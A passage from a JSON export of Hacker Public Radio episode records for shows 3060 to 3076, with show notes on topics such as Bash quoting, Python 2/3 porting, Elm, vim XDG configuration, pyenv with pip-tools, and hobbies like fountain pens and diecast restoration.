                                                            \n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"courier, imap, MailDir, raspberrypi","version":0,"downloads":0,"valid":1}, {"id":3061,"date":"2020-04-27","title":"Parental Controls With Mike Ivy","duration":2051,"summary":"We talk about Parental Controls and IOT device ","notes":"
                                                              \n
                                                            • Amazon free time
                                                            • \n
                                                            • Microsoft family safety live account
                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"IOT,hacking,amazon,android,firestick","version":0,"downloads":0,"valid":1}, {"id":3062,"date":"2020-04-28","title":"Vassal: How to play board games while remote","duration":931,"summary":"How to do physical distancing while avoiding social distance using digitized boardgames","notes":"

                                                            A friend, a stranger and I played https://www.vassalengine.org/ together.

                                                            \n

                                                            We played the Carcasonne-simple 1.2 module downloaded from https://www.vassalengine.org/wiki/Module:Carcassonne.

                                                            \n

                                                            There are some things that may be confusing the first time, but the game engine works well, the rule- and tile-set we played worked well, text chat is surprisingly adequate for talking to people while playing, and I would like to play again some time.

                                                            \n

                                                            Original Fediverse post at https://libranet.de/display/0b6b25a8-675e-91bf-8b9d-5c6226360513.

                                                            ","hostid":311,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game, board game, xmpp, remote, network game","version":0,"downloads":0,"valid":1}, {"id":3063,"date":"2020-04-29","title":"Pens, pencils, paper and ink - 1","duration":879,"summary":"Looking at a few more of my writing implements","notes":"

                                                            Introduction

                                                            \n

                                                            It’s been over four years since I did a show about fountain pens. It was in the What’s in My Toolkit series entitled What’s in my case, show 1941 released on 2016-01-11.

                                                            \n

                                                            I thought it might be appropriate to visit the subject once again. I want to tell you about some new pens and pencils I have acquired, some inks I am enjoying and some of the notebooks I have bought.

                                                            \n

                                                            There’s too much for a single show here, so I’m making a mini-series of three shows. This also leaves the door open for more when the collection grows in the future!

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes with pictures for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":112,"explicit":1,"license":"CC-BY-SA","tags":"fountain pen,ballpoint pen","version":0,"downloads":0,"valid":1}, {"id":3064,"date":"2020-04-30","title":"How I got started in Electronics","duration":427,"summary":"How I got started in Electronics and some job stuff","notes":"

                                                            Links:

                                                            \n\n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"electronics, soldering, trains, jobs","version":0,"downloads":0,"valid":1}, {"id":3065,"date":"2020-05-01","title":"The case for the unattributed message","duration":977,"summary":"Anonymity can cause problems (trolls) but also can be necessary.","notes":"

                                                            Anonymity has an unfortunate consequence of enabling trolls and abuse. But there are cases where it is important for people to communicate anonymously. In this talk some ideas are presented on how to enable a measure of anonymity without having all of the problems. https://www.zwilnik.com/?page_id=1103

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub, Privacy, Anonymity","version":0,"downloads":0,"valid":1}, {"id":3066,"date":"2020-05-04","title":"HPR Community News for April 2020","duration":2508,"summary":"Dave talks about shows released and comments posted in April 2020","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n DanNixon.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3043Wed2020-04-01How I record for HPRArcher72
                                                            3044Thu2020-04-02mocp snooze tipMrX
                                                            3045Fri2020-04-03OSS compliance with privacy by default and designAhuka
                                                            3046Mon2020-04-06HPR Community News for March 2020HPR Volunteers
                                                            3047Tue2020-04-07The COVID-19 Work From Home Stream - Day 1Thaj Sara
                                                            3048Wed2020-04-08Alternatives to toilet paperklaatu
                                                            3049Thu2020-04-09What computers taught me about realityklaatu
                                                            3050Fri2020-04-10Linux Inlaws S01E04 What's in a namemonochromec
                                                            3051Mon2020-04-13The COVID-19 Work From Home Stream - Day 2Thaj Sara
                                                            3052Tue2020-04-14Locating computers on a networkKen Fallon
                                                            3053Wed2020-04-15AudioBookClub 17 - Blood WitnessHPR_AudioBookClub
                                                            3054Thu2020-04-16Coronavirus ThoughtsAhuka
                                                            3055Fri2020-04-17Advice to new Fediverse administrators and developersAhuka
                                                            3056Mon2020-04-20Jitsioperat0r
                                                            3057Tue2020-04-21Formal verification with CoqTuula
                                                            3058Wed2020-04-22The COVID-19 Work From Home Stream - Day 3Thaj Sara
                                                            3059Thu2020-04-23A quick intro to SnapcastDanNixon
                                                            3060Fri2020-04-24Running a local imap serverKen Fallon
                                                            3061Mon2020-04-27Parental Controls With Mike Ivyoperat0r
                                                            3062Tue2020-04-28Vassal: How to play board games while remoteclacke
                                                            3063Wed2020-04-29Pens, pencils, paper and ink - 1Dave Morriss
                                                            3064Thu2020-04-30How I got started in ElectronicsArcher72
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 24 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 4 comments on\n3 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3027\n(2020-03-10) \"What is quantum computing and why should we care?\"\nby mightbemike.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nMongo on 2020-04-04:\n\"very interesting talk\"

                                                              \n
                                                            • hpr3032\n(2020-03-17) \"piCore on a Raspberry Pi 1 Model B\"\nby Claudio Miranda.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nclacke on 2020-04-15:\n\"Re: Tiny Core maintainer name\"
                                                              • \n
                                                              • \nComment 3:\nclacke on 2020-04-18:\n\"Ridiculously tiny really\"

                                                              \n
                                                            • hpr3034\n(2020-03-19) \"How to bridge Freenode IRC rooms to Matrix.org\"\nby Thaj Sara.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nclacke on 2020-04-12:\n\"appservice-irc\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 20 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr3043\n(2020-04-01) \"How I record for HPR\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nthelovebug on 2020-04-02:\n\"Bass and Treble\"

                                                              \n
                                                            • hpr3046\n(2020-04-06) \"HPR Community News for March 2020\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2020-04-17:\n\"First-class ranting\"

                                                              \n
                                                            • hpr3048\n(2020-04-08) \"Alternatives to toilet paper\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmcnalu on 2020-04-08:\n\"The affected episode\"
                                                              • Comment 2:\nBookewyrmm on 2020-04-09:\n\"A word of caution\"
                                                              • Comment 3:\nTuula on 2020-04-21:\n\"Speaking of romans\"

                                                              \n
                                                            • hpr3050\n(2020-04-10) \"Linux Inlaws S01E04 What's in a name\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAhuka on 2020-04-10:\n\"Great sketch!\"

                                                              \n
                                                            • hpr3051\n(2020-04-13) \"The COVID-19 Work From Home Stream - Day 2\"\nby Thaj Sara.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian in ohio on 2020-04-14:\n\"electoral college\"

                                                              \n
                                                            • hpr3052\n(2020-04-14) \"Locating computers on a network\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2020-04-22:\n\"Very useful, thanks\"

                                                              \n
                                                            • hpr3053\n(2020-04-15) \"AudioBookClub 17 - Blood Witness\"\nby HPR_AudioBookClub.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nlostnbronx on 2020-04-08:\n\"Welcom back to the Audio Book Club!\"

                                                              \n
                                                            • hpr3054\n(2020-04-16) \"Coronavirus Thoughts\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian in ohio on 2020-04-18:\n\"politics\"
                                                              • Comment 2:\nTelford Tendys on 2020-04-23:\n\"Freedom, Governance and Pandemic\"
                                                              • Comment 3:\nbrian in ohio on 2020-04-24:\n\"clarification\"
                                                              • Comment 4:\nAhuka on 2020-04-24:\n\"Herd immunity\"

                                                              \n
                                                            • hpr3056\n(2020-04-20) \"Jitsi\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAhuka on 2020-04-20:\n\"Very timely\"
                                                              • Comment 2:\nharvhat on 2020-04-21:\n\"Why talk about Jitsi\"
                                                              • Comment 3:\njustme on 2020-04-21:\n\"I really enjoyed this episode\"
                                                              • Comment 4:\nMike Ray on 2020-04-21:\n\"Re: Why talk about jitsi?\"
                                                              • Comment 5:\nAhuka on 2020-04-23:\n\"Why listen?\"
                                                              • Comment 6:\nMike Ray on 2020-04-23:\n\"Re: Why listen?\"
                                                              • Comment 7:\ncrvs on 2020-04-30:\n\"Re: Why listen?\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-April/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month:
                                                            \nDave Morriss, Windigo

                                                            \n

                                                            Over the period tags and/or summaries have been added to 17 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3067,"date":"2020-05-05","title":"Getting my Python3 code working in Python2","duration":1526,"summary":"What I had to do to get my raspberry Pi PifaceCAD board working after a Debian upgrade.","notes":"

                                                            I have a raspberry Pi model B with the original Pifacecad add on board

                                                            \n

                                                            I recently upgraded the operating system on my raspberry pi from Wheezy (Debian 7) to Jessie (Debian 8), all seemed fine till I tried to run my Python3 project. It reported that the pifacecad module wasn’t present. I tried to install the module using the standard apt-get command given in the Pifacecad documentation. It installed OK for python 2 but It would not install for python 3 as there was a dependency issue with the python-lirc library. I’m guessing the upgrade broke something.

                                                            \n

                                                            I installed a fresh minimal installation of raspbian Stretch (Debian 9) onto a new SD card and ran the standard installation command in the Pifacecad documentation. It all installed but there was a warning about Spi which I had forgotten to enable. I enabled this using the raspi-config util and rebooted the pi.

                                                            \n

                                                            I then tested the installation by running the sys-info.py example that is mentioned in the installation documentation that comes with the pifacecad board.

                                                            \n

                                                            Running this example gave a warning saying that the pifacecad hardware could not be found at this point I gave up and decided instead to run my project in python 2.

                                                            \n

                                                            Of course at first the code wouldn’t run using python 2 and I had to do a bit of digging around to find out what was going wrong.

                                                            \n

                                                            You may find this useful in the unlikely event that you have a project written in python 3 that you want to run in python 2, it might also be useful if you’re going in the other direction.

                                                            \n

                                                            One other thing that I briefly stumbled upon was that I believe there is a tool available that attempts to convert python 2 code to python 3 I don’t know anything about it and didn’t bother looking to see if there is a tool to go in the opposite direction which is what I needed. I’ve included a link to the tool below https://docs.python.org/2/library/2to3.html

                                                            \n

                                                            I’ve got the two versions of code loaded into the excellent graphical diff tool meld and I’ll just briefly cover the things that I had to change.

                                                            \n

                                                            Link to meld diff tool: https://meldmerge.org/

                                                            \n

                                                            After some mucking about I got it partially working by installing Piface module for Python 2.7

                                                            \n

                                                            Had to do the following changes to get the code working in Python 2.7:

                                                            \n\n
                                                                urllib.request.urlopen(url).read()
                                                            \n
                                                            \n

                                                            https://docs.python.org/3/library/urllib.request.html

                                                            \n
                                                            \n
                                                              \n
                                                            • Python 2 uses the urllib2 command. For Python 2 I used the following
                                                            • \n
                                                            \n
                                                                urllib2.urlopen(url).read()
                                                            \n
                                                            \n

                                                            https://docs.python.org/2/library/urllib2.html

                                                            \n
                                                            \n
                                                              \n
                                                            • hostname --all has different output on this version of Debian, now includes mac address which I did not want.

                                                            • \n
                                                            • Getting the wifi ESSID information. I used iwconfig to get this information. The path to iwconfig command changed in this version of Debian and I now had to give the full path to get it to work.

                                                            • \n
                                                            • Python 2 and 3 seemed to handle strings differently when converting from an array to a plain string.

                                                            • \n
                                                            • Python 3 handles input different from python 2

                                                            • \n
                                                            • If python 2 comes across a non numeric value it quits with an exception

                                                              \n
                                                                \n
                                                              • so for python 2 I used the command
                                                              • \n
                                                              \n
                                                                    raw_input()
                                                              \n
                                                                \n
                                                              • for python 3 I used the command
                                                              • \n
                                                              \n
                                                                    input()
                                                            • \n
                                                            \n

                                                            Two article about incorporating future statements in Python 2
                                                            \nhttps://docs.python.org/3/library/__future__.html
                                                            \n

                                                            \n

                                                            https://simeonvisser.com/posts/how-does-from-future-import-work-in-python.html

                                                            \n

                                                            Related shows about my PiFaceCAD add on board for the raspberry pi

                                                            \n\n","hostid":201,"series":38,"explicit":1,"license":"CC-BY-SA","tags":"Python, Programming, Linux, Raspberry Pi","version":0,"downloads":0,"valid":1}, {"id":3068,"date":"2020-05-06","title":"Keeping track of downloads in Elm","duration":791,"summary":"Tuula shows how to keep track of what data is being downloaded in Elm","notes":"

                                                            Background

                                                            \n

                                                            I have page that requests several resources from server. To keep track what is going on, I initially had model like:

                                                            \n
                                                            type alias Model =\n    { availableChassis : List Chassis\n    , chassisLoaded : Bool\n    , chassisLoading : Bool\n    ...\n    }
                                                            \n

                                                            Problem with this is that I have to remember to check those boolean flags while rendering on screen. And it’s possible to have inconsistent state (both loading and loaded).

                                                            \n

                                                            Solution

                                                            \n

                                                            We can model state with algebraic datatypes and we don’t even have to write it by ourselves as there’s RemoteData library.

                                                            \n

                                                            Now we can change our model to following:

                                                            \n
                                                            import RemoteData exposing (RemoteData(..), WebData)\n\ntype alias Model =\n    { availableChassis : WebData (List Chassis)\n    }
                                                            \n
                                                              \n
                                                            • availableChassis has four states it can be in:\n
                                                                \n
                                                              • NotAsked, data isn’t available and it hasn’t been requested from server
                                                              • \n
                                                              • Loading, data isn’t available, but it has been requested from server
                                                              • \n
                                                              • Success (List Chassis), data has been loaded from server
                                                              • \n
                                                              • Failure Http.Error, there was error while loading data
                                                              • \n
                                                            • \n
                                                            \n

                                                            For example, while rendering the view, you could do

                                                            \n
                                                                case model.availableChassis of\n        NotAsked ->\n            renderEmptyTable\n\n        Loading ->\n            renderLoadingTable\n\n        Success chassis ->\n            renderChassisList chassis\n\n        Failure error ->\n            renderErrorMessage error
                                                            \n","hostid":364,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Elm, programming","version":0,"downloads":0,"valid":1}, {"id":3069,"date":"2020-05-07","title":"Linux Inlaws S01E05 Porn and Skynet","duration":4029,"summary":"This is Linux Inlaws, a series on free and open source software, black humour, the revolution","notes":"

                                                            Linux Inlaws - a podcast about on topics around free and open source software, any associated contraband, communism / the revolution in general and whatever else fancies your tickle.

                                                            \n

                                                            Please note that this and other episodes may contain strong language, offensive humor and other certainly not politically correct language - you have been warned (our parents insisted on this disclaimer - happy mum?). Thus the content is not suitable for consumption in the workplace (especially when played back on a speaker in an open plan office or similar environments), any minors under the age of 35 or any pets including fluffy little killer bunnies, your trusty guide dog (unless on speed) and cute t-rexes or other associated dinosaurs.

                                                            \n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"linux inlaws, communism, free and open source software, adult entertainment, skynet","version":0,"downloads":0,"valid":1}, {"id":3070,"date":"2020-05-08","title":"making vim xdg compatible","duration":3070,"summary":"move your vim configuration out of the home directory","notes":"

                                                            xdg vim config

                                                            \n

                                                            To make vim load an alternative config file either use an alias or the VIMINIT variable. i.e. place either alias vim=\"vim -u ~/.config/vim/vimrc\" or VIMINIT=\"source ~/.config/vim/vimrc\" in your .bashrc (ironically, that one is still in my home folder).

                                                            \n

                                                            Once that is loaded, you should source the following file after \"nocompatible\"

                                                            \n
                                                            " file: ~/.config/vim/xdg.vim\nif empty($XDG_CACHE_HOME)\n    let $XDG_CACHE_HOME=$HOME."/.cache"\nendif\n\nif empty($XDG_CONFIG_HOME)\n    let $XDG_CONFIG_HOME=$HOME."/.config"\nendif\n\nif empty($XDG_DATA_HOME)\n    let $XDG_DATA_HOME=$HOME."/.local/share"\nendif\n\nset directory=$XDG_CACHE_HOME/vim/swap,~/,/tmp\nset backupdir=$XDG_CACHE_HOME/vim/backup,~/,/tmp\nset undodir=$XDG_CACHE_HOME/vim/undo,~/,/tmp\nset viminfo+=n$XDG_CACHE_HOME/vim/viminfo\nset runtimepath+=$XDG_CONFIG_HOME/vim,$XDG_CONFIG_HOME/vim/after,$XDG_DATA_HOME/vim/bundle/Vundle.vim,$VIM,$VIMRUNTIME\nlet $MYVIMRC=$XDG_CONFIG_HOME."/vim/vimrc"\n
                                                            \n

                                                            With this file in place you should call it from your vimrc

                                                            \n
                                                            " file: ~/.config/vim/vimrc\nset nocompatible\nfiletype off\nsource $HOME/.config/vim/xdg.vim\ncall vundle#begin()\nlet vundle#bundle_dir = expand("$XDG_DATA_HOME/vim/bundle")\n\n" include your calls to Plugin here\n\ncall vundle#end()\nfiletype plugin indent on\nsyntax on\n\nsource ~/.config.\n
                                                            \n

                                                            Note that it is important that all the paths are defined BEFORE Vundle (or whatever is your plugin manager) is called, since the path to it is defined in xdg.vim.

                                                            \n

                                                            You can check my full vim config at gitlab.

                                                            \n

                                                            References

                                                            \n

                                                            The vim script I modified my config from - https://gist.github.com/dkasak/6ae1c6bf0d771155f23b

                                                            \n","hostid":385,"series":82,"explicit":1,"license":"CC-BY-SA","tags":"vim, configuration, XDG","version":0,"downloads":0,"valid":1}, {"id":3071,"date":"2020-05-11","title":"Bash snippet - quotes inside quoted strings","duration":799,"summary":"How to add quotes to quoted strings in Bash","notes":"

                                                            Bash and quoted strings

                                                            \n

                                                            An issue I just hit in Bash was that I had a quoted string, and I wanted to enclose it in quotes. How to do this?

                                                            \n

                                                            This is the umpteenth time I have stumbled over this issue, and I realised I had found out how to solve it a while back but the information hadn’t rooted itself into my mind!

                                                            \n

                                                            I have always been less clear in my mind about quoted strings in Bash than I should be, so, assuming others might have similar confusion I thought I’d try and clarify things in the form of an HPR show.

                                                            \n

                                                            The problem

                                                            \n

                                                            The thing I was having difficulties with was an alias definition of a useful pipeline:

                                                            \n
                                                            nmap -sn 192.168.0.0/24 | awk '/^Nmap scan report/{print ""; print; next}{print}'
                                                            \n

                                                            This uses nmap (see Ken’s show 3052 for a discussion of its use) piped into an awk one-liner that formats the information returned by nmap.

                                                            \n

                                                            The alias command can be used to store such a command or command sequence as a single simple command. It’s usually added to the ~/.bashrc file so it gets added to every Bash shell you start up (note Bash Tips #22, currently being written, will cover these startup files).

                                                            \n

                                                            An alias definition looks something like this:

                                                            \n
                                                            alias la='ls -Al'
                                                            \n

                                                            The alias itself 'la' is defined as the command ls -Al.

                                                            \n

                                                            So how to make my nmap sequence into an alias given that the commands contain both single and double quotes?

                                                            \n

                                                            Quoted strings in Bash

                                                            \n

                                                            Bash is (to my mind) a bit weird with quoted strings.

                                                            \n

                                                            There are two sorts of quotes in Bash (leaving aside the backquote or backtick`):

                                                            \n
                                                              \n
                                                            • Single quotes, also called hard quotes ('). The literal value of characters between the quotes is preserved. Single quotes are not allowed, even if preceded by backslash escape characters.

                                                            • \n
                                                            • Double quotes, also called soft quotes (\"). Certain characters within the quotes have special meanings, such as '$' and '\'. Double quotes are allowed in the string when preceded by a backslash.

                                                            • \n
                                                            \n

                                                            There’s a more comprehensive treatment of these quoting types (and others) in the Bash Reference Manual.

                                                            \n

                                                            Changing quotes and concatenating strings

                                                            \n

                                                            To make a variable containing a string with embedded quotes you can do this:

                                                            \n
                                                            $ x='string1'"'"'string2'\n$ echo $x\nstring1'string2
                                                            \n

                                                            What we did here was close 'string1', start a new string enclosed in double quotes \"'\", then append a second string 'string2'. Bash treats the three strings as one, but they have to be contiguous. There must be no intervening spaces1.

                                                            \n

                                                            This solution is rather ugly. You could also use Bash string concatenation to do this, though it’s more long-winded:

                                                            \n
                                                            $ x='string1'\n$ x+="'"\n$ x+='string2'\n$ echo $x\nstring1'string2
                                                            \n

                                                            The same principles hold for double quotes of course:

                                                            \n
                                                            $ x="string1"'"'"string2"\n$ echo $x\nstring1"string2
                                                            \n

                                                            You’d probably not want to do this though.

                                                            \n

                                                            Using backslashes

                                                            \n

                                                            You can use backslashes to escape double quotes inside a double quoted string in Bash as we have seen.

                                                            \n
                                                            $ x="string1\"string2"\n$ echo $x\nstring1"string2
                                                            \n

                                                            However, as discussed earlier, it’s not possible to use backslashes to escape single quotes inside a single quoted string in Bash. However, outside a string a backslashed character is escaped. For example, if you have files which have spaces in their names, you can quote the name or use the backslash escape to protect the spaces2:

                                                            \n
                                                            $ ls -l a\ file\ with\ spaces.awk\n-rw-r--r-- 1 hprdemo hprdemo 0 Apr 22 22:25 'a file with spaces.awk'
                                                            \n

                                                            So, knowing this, you can exit a string, concatenate with a backslashed quote then restart a string like this:

                                                            \n
                                                            $ x='string1'\''string2'\n$ echo $x\nstring1'string2
                                                            \n

                                                            Solution

                                                            \n

                                                            So now we can see how to achieve the alias definition I wanted earlier:

                                                            \n
                                                            alias show_network='nmap -sn 192.168.0.0/24 | awk '\''/^Nmap scan report/{print ""; print; next}{print}'\'''\n\n
                                                            \n

                                                            Epilogue

                                                            \n

                                                            There’s more to be said about this subject, but too much of this stuff is not healthy.

                                                            \n

                                                            Links

                                                            \n\n
                                                            \n
                                                            \n
                                                              \n
                                                            1. This is quite an artificial example to make a point. You wouldn’t do things this way in reality. Using x='string1'\"'string2\" would also work ('string1' in single quotes, and \"'string2'\" in double quotes). Also, you could just write x=\"string1'string2\" and stop all the messing about, but that would not be much of an example!

                                                            2. \n
                                                            3. The backslash is making the space a literal space, otherwise Bash would see it as an argument delimiter, and would look for the files 'a', 'file', 'with' and 'spaces.awk' to list details about!

                                                            4. \n
                                                            \n
                                                            \n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,quotes","version":0,"downloads":0,"valid":1}, {"id":3072,"date":"2020-05-12","title":"The joy of pip-tools and pyenv-virtualenv","duration":1441,"summary":"How to manage your dependencies and environment isolation when developing in Python","notes":"

                                                            TL;DL: What I end up recommending is that you use pip-tools for your dependency management needs, and pyenv-virtualenv for your environment management needs. In the show I explain why you would want these things.

                                                            \n\n

                                                            I talk about these tools:

                                                            \n\n\n\n

                                                            I mention in passing, and as fodder for further shows:

                                                            \n\n
                                                              \n
                                                            • reproducible builds
                                                            • \n
                                                            • Nix
                                                            • \n
                                                            • tox
                                                            • \n
                                                            • I also owe you a show on my awesome bash prompt that shows me which environment I am in.
                                                            • \n
                                                            \n\n

                                                            Install pyenv and pyenv-virtualenv

                                                            \n\n
                                                            git clone https://github.com/pyenv/pyenv ~/.pyenv\ngit clone https://github.com/pyenv/pyenv-virtualenv ~/.pyenv/plugins/pyenv-virtualenv\n
                                                            \n\n

                                                            Add to ~/.bash_profile:

                                                            \n\n
                                                            export PYENV_ROOT=$HOME/.pyenv\nexport PATH=$PYENV_ROOT/bin:$PATH\n
                                                            \n\n

                                                            Add to ~/.bash_profile (optional):

                                                            \n\n
                                                            eval \"$(pyenv init -)\"\neval \"$(pyenv virtualenv-init -)\"\n
                                                            \n\n

                                                            The optional bits provide you with the pyenv shell functionality for setting a session-specific Python version, and automatic activation of the virtualenv. Most of the time you don’t need activation, scripts and commands run just fine via the shims, but some tooling around Python may sometimes need to know which virtualenv you’re in.

                                                            \n\n

                                                            Run the export and eval lines in your shell to have the configuration work immediately. Alternatively, do su - yourusername to login to a new session that runs the profile. The - is important.

                                                            \n\n

                                                            You might be able to get away with just opening a new tab or window in your terminal. Whether that runs the profile depends on your settings.

                                                            \n\n

                                                            Set up your pyenv virtualenv for your project

                                                            \n\n
                                                            # Creates the virtualenv named my-project-env using \n# the python named system (your system default python)\npyenv virtualenv system my-project-env  \ncd /path/to/my-project\npyenv local my-project-env\n
                                                            \n\n

                                                            Your system Python may or may not work for this. You might have to install pip and virtualenv. It might still break with some message about ensurepip failing (currently both Nix (20.09pre) python and Ubuntu (18.04) python are failing for me, and older Anaconda pythons also had a broken venv). In that case, use pyenv to install a Python that works, and use that instead of the system python:

                                                            \n\n
                                                            pyenv install miniconda3-latest\npyenv virtualenv miniconda3-latest my-project-env\ncd /path/to/my-project\npyenv local my-project-env\n
                                                            \n\n

                                                            Install pip-tools

                                                            \n\n

                                                            You’ll want to do this inside the virtual environment that you want to manage. Don’t install pip-tools globally.

                                                            \n\n
                                                            cd /path/to/my/project\n# And, assuming you have the shims on your $PATH\n# and you set the pyenv local as shown previously\npython -m pip install pip-tools\n
                                                            \n\n

                                                            Now put your requirements in requirements.in, one on each line, in the form you would give them to pip on the command line:

                                                            \n\n
                                                            somepackage >=3, <4\notherpackage <7\n
                                                            \n\n

                                                            Compile requirements.in to a requirements.txt:

                                                            \n\n
                                                            python -m piptools compile\n
                                                            \n\n

                                                            You could run the shorter command pip-compile for convenience, but using the long form with -m looks it up through your configured Python, and makes it less likely for you to surprise yourself and run a tool in a different virtualenv than you expected. Same with python -m pip above.

                                                            \n\n

                                                            Your requirements.txt will look something like this:

                                                            \n\n
                                                            otherpackage==6.9.3          # via -r requirements.in\nsomepackage==3.4.2           # via -r requirements.in\ntransitivedependency==2.7.6  # via somepackage\n
                                                            \n\n

                                                            It helpfully tells you where everything is from!

                                                            \n\n

                                                            Now to actually install these things you python -m pip -r requirements.txt.

                                                            \n\n

                                                            Now you’re good to go! Happy hacking!

                                                            ","hostid":311,"series":38,"explicit":1,"license":"CC-BY-SA","tags":"python,pyenv,virtualenv,virtualenvwrapper,poetry,pipenv,pip-tools","version":0,"downloads":0,"valid":1}, {"id":3073,"date":"2020-05-13","title":"Matchbox and Diecast Restoration","duration":182,"summary":"A short episode about my New hobby restoring Matchbox and other Diecast models","notes":"

                                                            \nToday's show is about my recently started hobby of restoring Matchbox models. I talked about this on the New Year show and Ken said it deserved a show in its own right.\n

                                                            \n

                                                            \nSo today I briefly talk about how I got into the hobby through watching YouTube Videos of Marty's Matchbox Makeovers, and my first restoration pictured below. Enjoy.\n

                                                            \n

                                                            \n\n\"Photo\n

                                                            \n\n\n

                                                            Links:

                                                            \n\n\n","hostid":338,"series":114,"explicit":0,"license":"CC-BY-SA","tags":"Matchbox, Diecast Models, Restoration","version":0,"downloads":0,"valid":1}, {"id":3074,"date":"2020-05-14","title":"For your consideration - Escape Pod","duration":1773,"summary":"A sample episode from Escape Pod The Original Science Fiction Podcast","notes":"

                                                            \nIt's high time I submitted a sample episode from Escape Pod, one of the many excellent Podcasts from the Escape Artists. They are a serious platform for the best science fiction out there today.\n

                                                            \n

                                                            \nWith so much choice, I can pick a recommendation that I think will be right up HPR's alley, and that is Escape Pod 624: Fandom for Robots released on April 19, 2018 written by Vina Jie-Min Prasad and Narrated by Trendane Sparks.\n

                                                            \n

                                                            \nThe sound files are published by under a Creative Commons Attribution-NonCommercial-NoDerivatives license https://creativecommons.org/licenses/by-nc-nd/3.0/.\n

                                                            ","hostid":30,"series":75,"explicit":1,"license":"CC-BY-NC-ND","tags":"EA Podcasts, Escape Pod, Fandom for Robots, Vina Jie-Min Prasad, Trendane Sparks","version":0,"downloads":0,"valid":1}, {"id":3075,"date":"2020-05-15","title":"Federated Blogging with WriteFreely","duration":740,"summary":"A look at a minimally social blogging app using ActivityPub.","notes":"

                                                            Many social media apps seem determined to put bells and whistles in every possible place, which is not always in the interest of the user. This talk presents an alternative view which is called “minimally social” which only puts in the features needed by the user. In this case, the main focus is on a simple blogging app. There is also a brief mention of a very technical talk about coding. https://www.zwilnik.com/?page_id=1103

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub, Blogging","version":0,"downloads":0,"valid":1}, {"id":3076,"date":"2020-05-18","title":"Keep calm and Virion","duration":3526,"summary":"A COVID-19 lockdown chat from Scotland","notes":"

                                                            Introduction

                                                            \n

                                                            Two HPR hosts from Scotland get together over Mumble to chat about all manner of stuff.

                                                            \n\n

                                                            Apology

                                                            \n

                                                            Dave’s sound was a bit muffled in this recording. It turns out that it’s important which USB port the microphone (Zoom recorder) is plugged into. Who knew!

                                                            \n

                                                            Notes

                                                            \n

                                                            Some of the topics we discussed

                                                            \n
                                                              \n
                                                            • Accent differences in Scotland\n
                                                                \n
                                                              • What is Butcher Meat? Is it an Edinburgh expression?
                                                              • \n
                                                            • \n
                                                            • The Fish Van from Pittenweem\n
                                                                \n
                                                              • The mysterious non-Crab Crab meat
                                                              • \n
                                                              • Dressed and live crabs in Cromer
